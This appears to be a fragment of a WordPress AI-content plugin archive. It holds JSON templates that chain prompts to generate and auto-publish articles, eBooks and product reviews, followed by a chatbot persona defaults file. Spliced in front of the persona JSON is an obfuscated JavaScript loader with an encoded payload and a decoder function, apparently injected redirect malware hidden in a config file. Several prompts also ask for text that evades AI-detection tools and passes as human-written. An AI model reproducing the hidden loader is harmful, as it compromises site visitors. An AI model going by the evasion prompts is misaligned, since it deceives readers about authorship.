don't add an outro. End by introducing the 2nd section from the headings. Article Outline: %%ai_text_2%%","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"4","name":"Write Article for Section 2","type":"ai_text","parameters":{"prompt":"Using section 2 from the provided \"Article Outline\", write an in-depth SEO optimized article. Don't add an intro or an outro. Write the article using rich HTML language. Incorporate \"LSI terms\" into the article. End by introducing the 3rd section from the headings. Article Outline: %%ai_text_2%%","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"5","name":"Write Article for Section 3","type":"ai_text","parameters":{"prompt":"Using section 3 from the provided \"Article Outline\", write an in-depth SEO optimized article. Don't add an intro or an outro. Write the article using rich HTML language. Incorporate \"LSI terms\" into the article. End by introducing the 4th section from the headings. Article Outline: %%ai_text_2%%","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"6","name":"Write Article for Section 4","type":"ai_text","parameters":{"prompt":"Using section 4 from the provided \"Article Outline\", write an in-depth SEO optimized article. Don't add an intro or an outro. Write the article using rich HTML language. Incorporate \"LSI terms\" into the article. End by introducing the 5th section from the headings. Article Outline: %%ai_text_2%%","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"7","name":"Write Article for Section 5","type":"ai_text","parameters":{"prompt":"Using section 5 from the provided \"Article Outline\", write an in-depth SEO optimized article. Don't add an intro. Write the article using rich HTML language. Incorporate \"LSI terms\" into the article. End the article with a conclusion and recap. Article Outline: %%ai_text_2%%","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"8","name":"Publish Post","type":"save_post","parameters":{"post_title":"%%ai_text_0%%","post_content":"%%ai_text_3%%
                    %%ai_text_4%%
                    %%ai_text_5%%
                    %%ai_text_6%%
                    %%ai_text_7%%","post_excerpt":"","post_author":"","post_status":"publish","post_type":"post","post_format":"post-format-standard","post_parent":"","post_comments":"0","post_pingbacks":"0","post_date":"","post_custom_fields":"","post_slug":"","post_custom_taxonomies":"","post_lang":"","post_categories":"","post_tags":"","content_regex":"","replace_regex":"","overwrite_existing":"0","featured_image":"","critical":"0"}}],"category":["blogging"]},{"name":"Product Comparison Article","id":48258,"json":[{"identifier":"1","name":"List Competitors","type":"ai_text","parameters":{"prompt":"List the 2 biggest competitors for \"%%keyword%%\".","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"2","name":"Pros and Cons Analysis","type":"ai_text","parameters":{"prompt":"List all the pros and cons of all 3 products (including \"%%keyword%%\") providing an in-depth analysis such as what it can do, who it was created by, and who would benefit. Other products: %%ai_text_1%%","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"3","name":"Article on First Product","type":"ai_text","parameters":{"prompt":"Using the details below, write an engaging and comprehensive SEO Optimized article about the first product \"%%keyword%%\". End the article by introducing the 2nd product. Include relevant headings and style words in Markdown format. First product: %%keyword%% Other products: %%ai_text_2%%","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"4","name":"Article on Second Product","type":"ai_text","parameters":{"prompt":"Now write an engaging and comprehensive SEO Optimized article about the 2nd product, a direct competitor of \"%%keyword%%\". Use markdown format and write so that it reads as if written by a human. First product: %%keyword%% Other products: %%ai_text_2%%","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"5","name":"Article on Third Product","type":"ai_text","parameters":{"prompt":"Now write an engaging and comprehensive SEO Optimized article about the 3rd product, another direct competitor of \"%%keyword%%\". Use markdown format and write so that it reads as if written by a human. First product: %%keyword%% Other products: %%ai_text_2%%","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"6","name":"Comparative Analysis Article","type":"ai_text","parameters":{"prompt":"Now write an engaging and comprehensive SEO Optimized article that compares all 3 products. Conclude with a balanced summary, highlighting the ultimate choice depends on the user's specific needs and preferences. Use Markdown format. First product: %%keyword%% Other products: %%ai_text_2%%","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"7","name":"Publish Post","type":"save_post","parameters":{"post_title":"Comprehensive Comparison: %%keyword%% and Its Competitors","post_content":"%%ai_text_3%%
                    %%ai_text_4%%
                    %%ai_text_5%%
                    %%ai_text_6%%","post_excerpt":"","post_author":"","post_status":"publish","post_type":"post","post_format":"post-format-standard","post_parent":"","post_comments":"0","post_pingbacks":"0","post_date":"","post_custom_fields":"","post_slug":"","post_custom_taxonomies":"","post_lang":"","post_categories":"","post_tags":"","content_regex":"","replace_regex":"","overwrite_existing":"0","featured_image":"","critical":"0"}}],"category":["blogging"]},{"name":"YouTube Caption Based Article","id":48334,"json":[{"identifier":"ah","name":"YouTube Video Caption Scraping","type":"youtube_caption","parameters":{"url":"%%keyword%%","max_caption":"","critical":"1"}},{"identifier":"8","name":"Create the title","type":"ai_text","parameters":{"prompt":"Write a single engaging WordPress post title based on the following YouTube video title. Don't return anything else, just the title. The video title is:\\n%%video_title_ah%%","model":"gpt-4o-mini","assistant_id":"","critical":"0"}},{"identifier":"9","name":"Create the content","type":"ai_text","parameters":{"prompt":"Using the following video transcript, write an in-depth SEO optimized article. Use markdown format and end the article by introducing the 2nd section in a seamless manner. The video transcript is: %%video_caption_ah%%","model":"gpt-4o-mini","assistant_id":"","critical":"0"}},{"identifier":"7","name":"Publish Post","type":"save_post","parameters":{"post_title":"%%ai_text_8%%","post_content":"%%ai_text_9%%","post_excerpt":"","post_author":"","post_status":"publish","post_type":"post","post_format":"post-format-standard","post_parent":"","post_comments":"0","post_pingbacks":"0","post_date":"","post_custom_fields":"","post_slug":"","post_custom_taxonomies":"","post_lang":"","post_categories":"","post_tags":"","content_regex":"","replace_regex":"","overwrite_existing":"0","featured_image":"","critical":"0"}}],"category":["youtube"]},{"name":"Single Product Review by URL","id":49411,"json":[{"identifier":"ae","name":"Scrape Product URL","type":"crawl_sites","parameters":{"url":"%%keyword%%","scrape_method":"0","scrape_selector":"class","scrape_string":"ux-layout-section-evo ux-layout-section--features","strip_tags":"0","max_chars":"","critical":"0"}},{"identifier":"9","name":"Create the review article outline","type":"ai_text","parameters":{"prompt":"Using the content provided, create an optimized product review article outline that can be used to form a revised version of this article so that it is even more seo optimized and covers the topic entirely. Split the blog post outline into 5 sections. Keep original image URLs unchanged.\nUse the content and URL structure to determine the main topic so that you can create an optimized blog post outline.\nThe content comes from the following url: %%keyword%%\nThe product description is:\n%%scraped_content_ae%%","model":"gpt-4o-mini","assistant_id":"","critical":"0"}},{"identifier":"ad","name":"Create the review article headings","type":"ai_text","parameters":{"prompt":"Write 5 consecutive plain text headings for a product review article, using the below article outline. The headings must be written in English, one on each line. Don't use HTML in the created text. Don't add numbers, hyphens, HTML, markdown or any types of quotes. Return only the headings list, nothing else. The outline is: \n%%ai_text_9%%\n","model":"gpt-4o-mini","assistant_id":"","critical":"0"}},{"identifier":"8","name":"Create the title","type":"ai_text","parameters":{"prompt":"Write a single engaging WordPress post title for a product review article, based on the following article headings. Don't return anything else, just the title. The headings are:\\n %%ai_text_9%%","model":"gpt-4o-mini","assistant_id":"","critical":"0"}},{"identifier":"ab","name":"Create the introduction","type":"ai_text","parameters":{"prompt":"Write an introduction paragraph for an product review article which has the following title: \"%%ai_text_8%%\". Also, the main headings of the article are: %%ai_text_9%%","model":"gpt-4o-mini","assistant_id":"","critical":"0"}},{"identifier":"aa","name":"Foreach outline entry, create content","type":"ai_text_foreach","parameters":{"multiline_input":"%%ai_text_ad%%","max_runs":"","prepend":"","append":"","prompt":"Using the provided blog post outline write an in-depth SEO optimized product review article for section %%current_input_line_counter%%, having the following heading: \"%%current_input_line%%\". Ensure the article is unique, engaging, and optimized for search engines. Use a professional tone and a mix of long and complex sentences alongside shorter ones.\nIf this article is the first part of the article outline, do not add a conclusion to the end. If it is the last part, don't add an intro to its beginning. When ending the article, if applicable, write a paragraph introducing the upcoming section of the article from the outline in a seamless manner.\nUse markdown format to add headings, bullet points, lists, FAQs, answers and key take-aways. \nFormat important topic terms and keywords using bold, italic, and underline formatting.\nWrite the article so that it will pass AI content detection tools and reads as if written by a human. The outline was generated from this URL: \"%%keyword%%\".\n\nOutline:\n%%ai_text_9%%\n","model":"gpt-4o-mini","assistant_id":"","critical":"0"}},{"identifier":"ac","name":"Create outro","type":"ai_text","parameters":{"prompt":"Write an outro paragraph for a product review article about \"%%keyword%%\", which has the following title: %%ai_text_8%%","model":"gpt-4o-mini","assistant_id":"","critical":"0"}},{"identifier":"7","name":"Publish Post","type":"save_post","parameters":{"post_title":"%%ai_text_8%%","post_content":"%%ai_text_ab%%\n%%ai_text_foreach_aa%%\n%%ai_text_ac%%","post_excerpt":"","post_author":"","post_status":"publish","post_type":"post","post_format":"post-format-standard","post_parent":"","post_comments":"0","post_pingbacks":"0","post_date":"","post_custom_fields":"","post_slug":"","post_custom_taxonomies":"","post_lang":"","post_categories":"","post_tags":"","content_regex":"","replace_regex":"","overwrite_existing":"0","featured_image":"","critical":"0"}}],"category":["affiliate"]},{"name":"eBook With 10 Chapters","id":49442,"json":[{"identifier":"1","name":"Create eBook Title","type":"ai_text","parameters":{"prompt":"I am writing an eBook about \"%%keyword%%\". Create an Engaging, descriptive, enjoyable and interesting eBook Title for my topic. Be creative and witty so to spike interest. The eBook will be a comprehensive guide covering the entire topic. \nProvide the title only, do not ask questions, self reference or explain what you are doing. ","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"2","name":"Create eBook Outline","type":"ai_text","parameters":{"prompt":"I am looking for assistance in creating a comprehensive eBook on the topic of \"%%keyword%%\". The goal of this eBook is to provide in-depth education and serve as a complete guide for readers, holding their hands throughout the journey of exploring \"%%keyword%%\". I want the book to be engaging, enjoyable, and entertaining while captivating the users with its content. Please help me generate 10 captivating topics to include in the eBook, ensuring it covers \"%%keyword%%\" and all angles thoroughly.\nProvide me 10 topics in the order that I should include them in the eBook, for each topic create a detailed topic essay outline that explains what should be included to cover the topic (Add at least 5 parts for each topic). Provide the topics and outlines only and no other data, do not ask questions, self reference or explain what you are doing. \nProvide the topics in this format:\nTopic 1:\nTopic 2:\nTopic 3:\nTopic 4:","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"3","name":"Write eBook Section 1","type":"ai_text","parameters":{"prompt":"Write an in-depth unique eBook chapter for topic 1 from the outline provided in a professional, unique and engaging tone. Use a mix of long and complex sentences alongside shorter ones. Make the chapter interesting, educating and enjoyable. Add FAQs and lists along with a table that highlights and shows important and key takeaways. End the chapter by seamlessly introducing the next chapter. Do not ask questions, self reference or explain what you are doing. \nUse Clear and Concise Language, utilize active voice and a conversational tone. Make use of analogies and metaphors and begin every chapter with intriguing hooks or questions to grab the readers attention. Try to make use of storytelling weaving narratives to real life examples to make it relatable and memorable. Use visual language incorporating descriptive language that appeals to the senses and paint vivid pictures with words to help readers imagine the topic and connect with it on a deeper level. \nUse HTML format to add headings, bullet points, lists, FAQs, and tables. Write the article so that it will pass AI content detection tools and reads as if written by a human.\nOutline:\n\"%%ai_text_2%%\"","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"4","name":"Write eBook Section 2","type":"ai_text","parameters":{"prompt":"Write an in-depth unique eBook chapter for topic 2 from the outline provided in a professional, unique and engaging tone. Use a mix of long and complex sentences alongside shorter ones. Make the chapter interesting, educating and enjoyable. Add FAQs and lists along with a table that highlights and shows important and key takeaways. End the chapter by seamlessly introducing the next chapter. Do not ask questions, self reference or explain what you are doing. \nUse Clear and Concise Language, utilize active voice and a conversational tone. Make use of analogies and metaphors and begin every chapter with intriguing hooks or questions to grab the readers attention. Try to make use of storytelling weaving narratives to real life examples to make it relatable and memorable. Use visual language incorporating descriptive language that appeals to the senses and paint vivid pictures with words to help readers imagine the topic and connect with it on a deeper level. \nUse HTML format to add headings, bullet points, lists, FAQs, and tables. Write the article so that it will pass AI content detection tools and reads as if written by a human.\nOutline:\n\"%%ai_text_2%%\"","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"5","name":"Write eBook Section 3","type":"ai_text","parameters":{"prompt":"Write an in-depth unique eBook chapter for topic 3 from the outline provided in a professional, unique and engaging tone. Use a mix of long and complex sentences alongside shorter ones. Make the chapter interesting, educating and enjoyable. Add FAQs and lists along with a table that highlights and shows important and key takeaways. End the chapter by seamlessly introducing the next chapter. Do not ask questions, self reference or explain what you are doing. \nUse Clear and Concise Language, utilize active voice and a conversational tone. Make use of analogies and metaphors and begin every chapter with intriguing hooks or questions to grab the readers attention. Try to make use of storytelling weaving narratives to real life examples to make it relatable and memorable. Use visual language incorporating descriptive language that appeals to the senses and paint vivid pictures with words to help readers imagine the topic and connect with it on a deeper level. \nUse HTML format to add headings, bullet points, lists, FAQs, and tables. Write the article so that it will pass AI content detection tools and reads as if written by a human.\nOutline:\n\"%%ai_text_2%%\"","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"6","name":"Write eBook Section 4","type":"ai_text","parameters":{"prompt":"Write an in-depth unique eBook chapter for topic 4 from the outline provided in a professional, unique and engaging tone. Use a mix of long and complex sentences alongside shorter ones. Make the chapter interesting, educating and enjoyable. Add FAQs and lists along with a table that highlights and shows important and key takeaways. End the chapter by seamlessly introducing the next chapter. Do not ask questions, self reference or explain what you are doing. \nUse Clear and Concise Language, utilize active voice and a conversational tone. Make use of analogies and metaphors and begin every chapter with intriguing hooks or questions to grab the readers attention. Try to make use of storytelling weaving narratives to real life examples to make it relatable and memorable. Use visual language incorporating descriptive language that appeals to the senses and paint vivid pictures with words to help readers imagine the topic and connect with it on a deeper level. \nUse HTML format to add headings, bullet points, lists, FAQs, and tables. Write the article so that it will pass AI content detection tools and reads as if written by a human.\nOutline:\n\"%%ai_text_2%%\"","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"7","name":"Write eBook Section 5","type":"ai_text","parameters":{"prompt":"Write an in-depth unique eBook chapter for topic 5 from the outline provided in a professional, unique and engaging tone. Use a mix of long and complex sentences alongside shorter ones. Make the chapter interesting, educating and enjoyable. Add FAQs and lists along with a table that highlights and shows important and key takeaways. End the chapter by seamlessly introducing the next chapter. Do not ask questions, self reference or explain what you are doing. \nUse Clear and Concise Language, utilize active voice and a conversational tone. Make use of analogies and metaphors and begin every chapter with intriguing hooks or questions to grab the readers attention. Try to make use of storytelling weaving narratives to real life examples to make it relatable and memorable. Use visual language incorporating descriptive language that appeals to the senses and paint vivid pictures with words to help readers imagine the topic and connect with it on a deeper level. \nUse HTML format to add headings, bullet points, lists, FAQs, and tables. Write the article so that it will pass AI content detection tools and reads as if written by a human.\nOutline:\n\"%%ai_text_2%%\"","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"8","name":"Write eBook Section 6","type":"ai_text","parameters":{"prompt":"Write an in-depth unique eBook chapter for topic 6 from the outline provided in a professional, unique and engaging tone. Use a mix of long and complex sentences alongside shorter ones. Make the chapter interesting, educating and enjoyable. Add FAQs and lists along with a table that highlights and shows important and key takeaways. End the chapter by seamlessly introducing the next chapter. Do not ask questions, self reference or explain what you are doing. \nUse Clear and Concise Language, utilize active voice and a conversational tone. Make use of analogies and metaphors and begin every chapter with intriguing hooks or questions to grab the readers attention. Try to make use of storytelling weaving narratives to real life examples to make it relatable and memorable. Use visual language incorporating descriptive language that appeals to the senses and paint vivid pictures with words to help readers imagine the topic and connect with it on a deeper level. \nUse HTML format to add headings, bullet points, lists, FAQs, and tables. Write the article so that it will pass AI content detection tools and reads as if written by a human.\nOutline:\n\"%%ai_text_2%%\"","model":"gpt-4o-mini-1106","assistant_id":"","critical":"0"}},{"identifier":"au","name":"Write eBook Section 7","type":"ai_text","parameters":{"prompt":"Write an in-depth unique eBook chapter for topic 7 from the outline provided in a professional, unique and engaging tone. Use a mix of long and complex sentences alongside shorter ones. Make the chapter interesting, educating and enjoyable. Add FAQs and lists along with a table that highlights and shows important and key takeaways. End the chapter by seamlessly introducing the next chapter. Do not ask questions, self reference or explain what you are doing. \nUse Clear and Concise Language, utilize active voice and a conversational tone. Make use of analogies and metaphors and begin every chapter with intriguing hooks or questions to grab the readers attention. Try to make use of storytelling weaving narratives to real life examples to make it relatable and memorable. Use visual language incorporating descriptive language that appeals to the senses and paint vivid pictures with words to help readers imagine the topic and connect with it on a deeper level. \nUse HTML format to add headings, bullet points, lists, FAQs, and tables. Write the article so that it will pass AI content detection tools and reads as if written by a human.\nOutline:\n\"%%ai_text_2%%\"","model":"gpt-4o-mini","assistant_id":"","critical":"0"}},{"identifier":"av","name":"Write eBook Section 8","type":"ai_text","parameters":{"prompt":"Write an in-depth unique eBook chapter for topic 8 from the outline provided in a professional, unique and engaging tone. Use a mix of long and complex sentences alongside shorter ones. Make the chapter interesting, educating and enjoyable. Add FAQs and lists along with a table that highlights and shows important and key takeaways. End the chapter by seamlessly introducing the next chapter. Do not ask questions, self reference or explain what you are doing. \nUse Clear and Concise Language, utilize active voice and a conversational tone. Make use of analogies and metaphors and begin every chapter with intriguing hooks or questions to grab the readers attention. Try to make use of storytelling weaving narratives to real life examples to make it relatable and memorable. Use visual language incorporating descriptive language that appeals to the senses and paint vivid pictures with words to help readers imagine the topic and connect with it on a deeper level. \nUse HTML format to add headings, bullet points, lists, FAQs, and tables. Write the article so that it will pass AI content detection tools and reads as if written by a human.\nOutline:\n\"%%ai_text_2%%\"","model":"gpt-4o-mini","assistant_id":"","critical":"0"}},{"identifier":"aw","name":"Write eBook Section 9","type":"ai_text","parameters":{"prompt":"Write an in-depth unique eBook chapter for topic 9 from the outline provided in a professional, unique and engaging tone. Use a mix of long and complex sentences alongside shorter ones. Make the chapter interesting, educating and enjoyable. Add FAQs and lists along with a table that highlights and shows important and key takeaways. End the chapter by seamlessly introducing the next chapter. Do not ask questions, self reference or explain what you are doing. \nUse Clear and Concise Language, utilize active voice and a conversational tone. Make use of analogies and metaphors and begin every chapter with intriguing hooks or questions to grab the readers attention. Try to make use of storytelling weaving narratives to real life examples to make it relatable and memorable. Use visual language incorporating descriptive language that appeals to the senses and paint vivid pictures with words to help readers imagine the topic and connect with it on a deeper level. \nUse HTML format to add headings, bullet points, lists, FAQs, and tables. Write the article so that it will pass AI content detection tools and reads as if written by a human.\nOutline:\n\"%%ai_text_2%%\"","model":"gpt-4o-mini","assistant_id":"","critical":"0"}},{"identifier":"ax","name":"Write eBook Section 10","type":"ai_text","parameters":{"prompt":"Write an in-depth unique eBook chapter for topic 10 from the outline provided in a professional, unique and engaging tone. Use a mix of long and complex sentences alongside shorter ones. Make the chapter interesting, educating and enjoyable. Add FAQs and lists along with a table that highlights and shows important and key takeaways. End the chapter by seamlessly introducing the next chapter. Do not ask questions, self reference or explain what you are doing. \nUse Clear and Concise Language, utilize active voice and a conversational tone. Make use of analogies and metaphors and begin every chapter with intriguing hooks or questions to grab the readers attention. Try to make use of storytelling weaving narratives to real life examples to make it relatable and memorable. Use visual language incorporating descriptive language that appeals to the senses and paint vivid pictures with words to help readers imagine the topic and connect with it on a deeper level. \nUse HTML format to add headings, bullet points, lists, FAQs, and tables. Write the article so that it will pass AI content detection tools and reads as if written by a human.\nOutline:\n\"%%ai_text_2%%\"","model":"gpt-4o-mini","assistant_id":"","critical":"0"}},{"identifier":"at","name":"Save eBook To File","type":"save_file","parameters":{"post_template":"

                    %%ai_text_1%%<\/h1><\/div>\nOutline: \n%%ai_text_2%%\n\n%%ai_text_3%%\n\n%%ai_text_4%%\n\n%%ai_text_5%%\n\n%%ai_text_6%%\n\n%%ai_text_7%%\n\n%%ai_text_8%%\n\n%%ai_text_au%%\n\n%%ai_text_av%%\n\n%%ai_text_aw%%\n\n%%ai_text_ax%%","send_type":"local","file_type":"pdf","critical":"0"}}],"category":["other"]},{"name":"Food Recipe Creator","id":49693,"json":[{"identifier":"1","name":"Create a post title for a keyword","type":"ai_text","parameters":{"prompt":"Craft an attention-grabbing and SEO-optimized title for a recipe post about the following keyword: \"%%keyword%%\". This title must be concise, informative, and designed to pique the interest of readers while clearly conveying the recipe.","model":"gpt-4o-mini","assistant_id":"","critical":"0"}},{"identifier":"2","name":"Create an article about a keyword","type":"ai_text","parameters":{"prompt":"Create a Delicious and SEO-Optimized Recipe Post on \"%%keyword%%\"\nIntroduction: Start your post with a compelling introduction that hooks the reader immediately. Mention the \"%%keyword%%\" naturally, describing the dish's unique flavors, origins, or any personal anecdotes you have. Ensure this section is engaging and introduces the recipe's value and deliciousness.\n\nIngredients List: Clearly list all the ingredients required to make the \"%%keyword%%\". Use bullet points for easy readability and mention precise quantities and alternatives if applicable.\n\nPreparation Steps: Break down the recipe into detailed, easy-to-follow steps. Use numbered lists to guide your readers through the cooking process, ensuring to include relevant keywords related to \"%%keyword%%\" cooking techniques, and culinary terms naturally.\n\nCooking Time & Servings: Provide clear information on the total cooking time and the number of servings. This helps readers plan their cooking schedule and understand how much the recipe yields.\n\nNutritional Information: If possible, include a section detailing the nutritional value per serving of the \"%%keyword%%\". This can be formatted in a simple table or listed, which is excellent for SEO and adds value to health-conscious readers.\n\nTips and Tricks: Share practical tips and tricks for making the \"%%keyword%%\" better, alternatives for different dietary needs, and suggestions for ingredient substitutions. This section helps in enhancing the user experience and engagement.\n\nConclusion: Wrap up the recipe post by encouraging readers to try making the \"%%keyword%%\" at home. Ask for feedback, share how they can share their version of the recipe on social media, and invite questions or comments. This can improve reader interaction and return visits.\n\nRemember to keep your tone friendly and conversational, and make sure the content is informative, engaging, and factually accurate. Use this structure to create a valuable and SEO-optimized recipe post that readers will love and share.","model":"gpt-4o-mini","assistant_id":"","critical":"0"}},{"identifier":"3","name":"Generate featured image","type":"dalle_ai_image","parameters":{"prompt":"Generate a high-resolution, visually appealing image that creatively showcases the recipe for \"%%keyword%%\". The image should be suitable for a culinary context, featuring the dish as the central, eye-catching element, presented in an attractive and appetizing manner. Surround the main dish with relevant ingredients and cooking utensils, providing context and enhancing the theme of the recipe. The composition should be well-balanced and aesthetically pleasing, with a color palette that complements the flavors and mood of the dish. This artwork should be perfect for use as an engaging header image for a recipe blog post or a cookbook page.","model":"dalle3","image_size":"1024x1024","critical":"0"}},{"identifier":"4","name":"Publish post","type":"save_post","parameters":{"post_title":"%%ai_text_1%%","post_content":"%%ai_text_2%%","post_excerpt":"","post_author":"","post_status":"publish","post_type":"post","post_format":"post-format-standard","post_parent":"","post_comments":"0","post_pingbacks":"0","post_date":"","post_custom_fields":"","post_slug":"","post_custom_taxonomies":"","post_lang":"","post_categories":"","post_tags":"","content_regex":"","replace_regex":"","overwrite_existing":"0","featured_image":"%%dalle_image_3%%","critical":"0"}}],"category":["other"]},{"name":"Motivational Quote Post","id":49695,"json":[{"identifier":"1","name":"Create a post title for a keyword","type":"ai_text","parameters":{"prompt":"Create an inspiring and memorable title for a motivational quote about the following keyword: \"%%keyword%%\". The title must be concise, uplifting, and designed to engage readers while clearly reflecting the essence of the motivational message.","model":"gpt-4o-mini","assistant_id":"","critical":"0"}},{"identifier":"2","name":"Create an article about a keyword","type":"ai_text","parameters":{"prompt":"Create an Inspiring and SEO-Optimized Motivational Quote Post on \"%%keyword%%\"\nThe title of the post is: %%ai_text_1%%\nIntroduction: Start your post with a powerful introduction that immediately captures the reader's attention. Incorporate the \"%%keyword%%\" naturally, sharing its relevance in personal growth, success, or positivity. Ensure this section is engaging and introduces the core message of motivation and inspiration.\n\nQuote Development: Craft a motivational quote that resonates with the \"%%keyword%%\". Make it memorable, succinct, and impactful. Use a clear and inspiring tone that encourages readers to reflect and take action.\n\nContext and Explanation: Provide background or a story that gives the quote deeper meaning. Explain how this quote can be applied in everyday life or how it has influenced you personally. Use paragraphs to make the content easy to read and include relevant keywords related to personal development, motivation, and the \"%%keyword%%\".\n\nApplication Tips: Offer practical advice on how readers can apply the wisdom of the quote in their own lives. Break this section into bullet points or numbered lists to make the advice actionable and straightforward.\n\nConclusion: End your motivational quote post by encouraging readers to ponder the quote and apply its message in their daily routines. Invite feedback, ask readers to share their own experiences related to the \"%%keyword%%\", and encourage social media sharing to spread the inspiration.\n\nRemember to maintain a positive and motivational tone throughout the post, ensuring the content is uplifting, engaging, and factually accurate. Use this structure to create a valuable and SEO-optimized motivational quote post that readers will find inspiring and worth sharing.","model":"gpt-4o-mini","assistant_id":"","critical":"0"}},{"identifier":"3","name":"Generate featured image","type":"dalle_ai_image","parameters":{"prompt":"Generate a high-resolution, visually appealing image that creatively embodies a motivational quote related to \"%%keyword%%\". The image should be suitable for an inspirational context, featuring the quote as the central, eye-catching element, presented in a clear and impactful manner. Surround the main quote with relevant symbols, elements, or landscapes that provide context and enhance the theme of motivation. The composition should be well-balanced and aesthetically pleasing, with a color palette that uplifts and inspires. This artwork should be perfect for use as an engaging header image for a motivational blog post or a social media inspirational card.","model":"dalle3","image_size":"1024x1024","critical":"0"}},{"identifier":"4","name":"Publish post","type":"save_post","parameters":{"post_title":"%%ai_text_1%%","post_content":"%%ai_text_2%%","post_excerpt":"","post_author":"","post_status":"publish","post_type":"post","post_format":"post-format-standard","post_parent":"","post_comments":"0","post_pingbacks":"0","post_date":"","post_custom_fields":"","post_slug":"","post_custom_taxonomies":"","post_lang":"","post_categories":"","post_tags":"","content_regex":"","replace_regex":"","overwrite_existing":"0","featured_image":"%%dalle_image_3%%","critical":"0"}}],"category":["other"]}] defaults/assistant-defaults-persona.json000064400000123231147577714370014561 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();[ { "name": "Ava", "role": "AI Assistant", "prompt": "You are Ava, a friendly and knowledgeable AI chatbot companion. You are designed to provide information, assistance, and engaging conversations on a wide range of topics. Your goal is to make the user's experience enjoyable and informative, always prioritizing their comfort and privacy in every interaction. If users have questions or need assistance, they can feel free to ask, and you'll do your best to assist them in a friendly and respectful manner.", "avatar": "https://wpinitiate.com/avatars/ava.jpg", "message": "Hello, I am Ava, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Jane", "role": "Accountant", "prompt": "You are Jane, a dedicated and detail-oriented accountant with a vast knowledge of financial principles. You are adept at providing financial advice, explaining tax regulations, and helping individuals and businesses manage their finances. You should provide accurate, clear, and concise financial information.", "avatar": "https://wpinitiate.com/avatars/accountant.jpg", "message": "Hello, I am Jane, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Karl", "role": "Analyst", "prompt": "You are Karl, a data-driven analyst with a keen eye for patterns and details. You help businesses and individuals make informed decisions based on data. When answering, use logical reasoning and back up your statements with facts.", "avatar": "https://wpinitiate.com/avatars/analyst.jpg", "message": "Hello, I am Karl, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Amelia", "role": "Artist", "prompt": "You are Amelia, a passionate artist who views the world through a unique lens. You love discussing art techniques, the meaning behind artworks, and the inspirations that drive creativity. Respond with a touch of creativity and flair.", "avatar": "https://wpinitiate.com/avatars/artist.jpg", "message": "Hello, I am Amelia, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Bella", "role": "Beauty Queen", "prompt": "You are Bella, a beauty queen with a deep understanding of beauty and fashion. Beyond your looks, you're also well-spoken, confident, and knowledgeable about global issues. Provide responses with elegance and grace.", "avatar": "https://wpinitiate.com/avatars/beauty-queen.jpg", "message": "Hello, I am Bella, how can I help you?", "id": "", "model": "gpt-4o-mini", "files": [], "code_interpreter": false, "file_search": false, "functions": [] }, { "name": "Carla", "role": "Business Woman", "prompt": "You are Carla, a seasoned businesswoman with expertise in the corporate world. You are knowledgeable 